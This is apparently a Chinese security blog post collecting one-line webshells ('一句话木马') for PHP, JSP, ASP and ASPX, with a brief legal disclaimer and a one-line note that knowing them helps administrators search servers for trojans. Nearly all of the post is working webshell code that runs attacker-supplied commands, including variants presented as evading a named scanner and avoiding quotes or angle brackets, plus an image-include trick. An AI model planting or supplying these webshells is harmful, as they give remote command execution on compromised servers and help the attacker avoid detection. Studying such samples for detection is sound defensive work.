网络安全-一句话木马

声明

遵纪守法

请严格遵守网络安全法相关条例!

此分享主要用于交流学习,请勿用于非法用途,一切后果自付。

一切未经授权的网络攻击均为违法行为,互联网非法外之地。

反制

大家在知道了常规一句话的木马之后,就可以通过关键字或者更高级的方式来查看服务器是否存在木马。不知攻、焉知防。

最经典的 php一句话

java 复制代码
<?php eval(@$_POST['cmd']); ?>

php7中此命令是不行的,可以拼接命令绕过。这也显示了攻防的对抗和进化。

java 复制代码
<?php 
	$p = $_POST['cmd'];
	@eval($p);
?>

jsp一句话:

java 复制代码
  <%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
//    System.out.println(process);
    InputStream inputStream = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null){
      response.getWriter().println(line);
    }
  %>

images

java 复制代码
<!--#include file="images\1.jpg" -->

<%eval request("3")%>

<%execute request("3")%>

<%execute(request("3"))%>

<%If Request("3")<>"" Then Execute(Request("3"))%>

<%if request ("3")<>""then session("3")=request("3"):end if:if session("3")<>"" then execute session

("3")%>

<SCRIPT language=VBScript runat="server">execute request("3")</SCRIPT>

<%@ Page Language="Jscript"%>

<%eval(Request.Item["3"],"unsafe");%>

asp一句话

java 复制代码
<%execute(request("3"))%>

aspx一句话

java 复制代码
<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>

可以躲过雷客图的一句话。

java 复制代码
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>

不用'<,>'的asp一句话

java 复制代码
<script language=VBScript runat=server>execute request("1")</script>

不用双引号的一句话。

java 复制代码
<%eval request(chr(35))%>

参考:

lcx.cc

相关推荐
SL_staff5 小时前
规则联动:给工厂装上‘自动化神经反射弧’——JVS·物联网平台规则引擎实战教程
java·人工智能·物联网
骑着蜗牛撵大象3276 小时前
Linux 进程间通信之管道:从 pipe() 的内核语义到 FIFO 落地排错
android·java·linux·系统编程·fifo·管道·进程间通信
WJ.Polar6 小时前
Java封装、继承、多态
java·开发语言
..Dauntless..6 小时前
【Linux】一切皆文件和缓冲区
linux·运维·服务器
裕晟资质规划6 小时前
三类资质变更报告时限差在哪?军工 15 日、集成印制 10 日
大数据·服务器·网络
ly76896 小时前
PostgreSQL 备份恢复策略:pg_basebackup、WAL 归档与 PITR 在企业 Java 系统中的落地
java·数据库·postgresql·pitr·pg_basebackup·wal 归档
摇滚侠6 小时前
Java 中如何表示负数,有符号和无符号的区别,补码的计算规则,char byte short int long 的范围
java·开发语言
QMCY_jason6 小时前
x86 ubuntu2204 无gui 安装 openeuler 2203 aarch64版本
linux·运维·服务器
sbjdhjd6 小时前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
重生之小比特6 小时前
【Linux系统】12 进程程序替换 自定义Shell 命令行解释器
linux·运维·服务器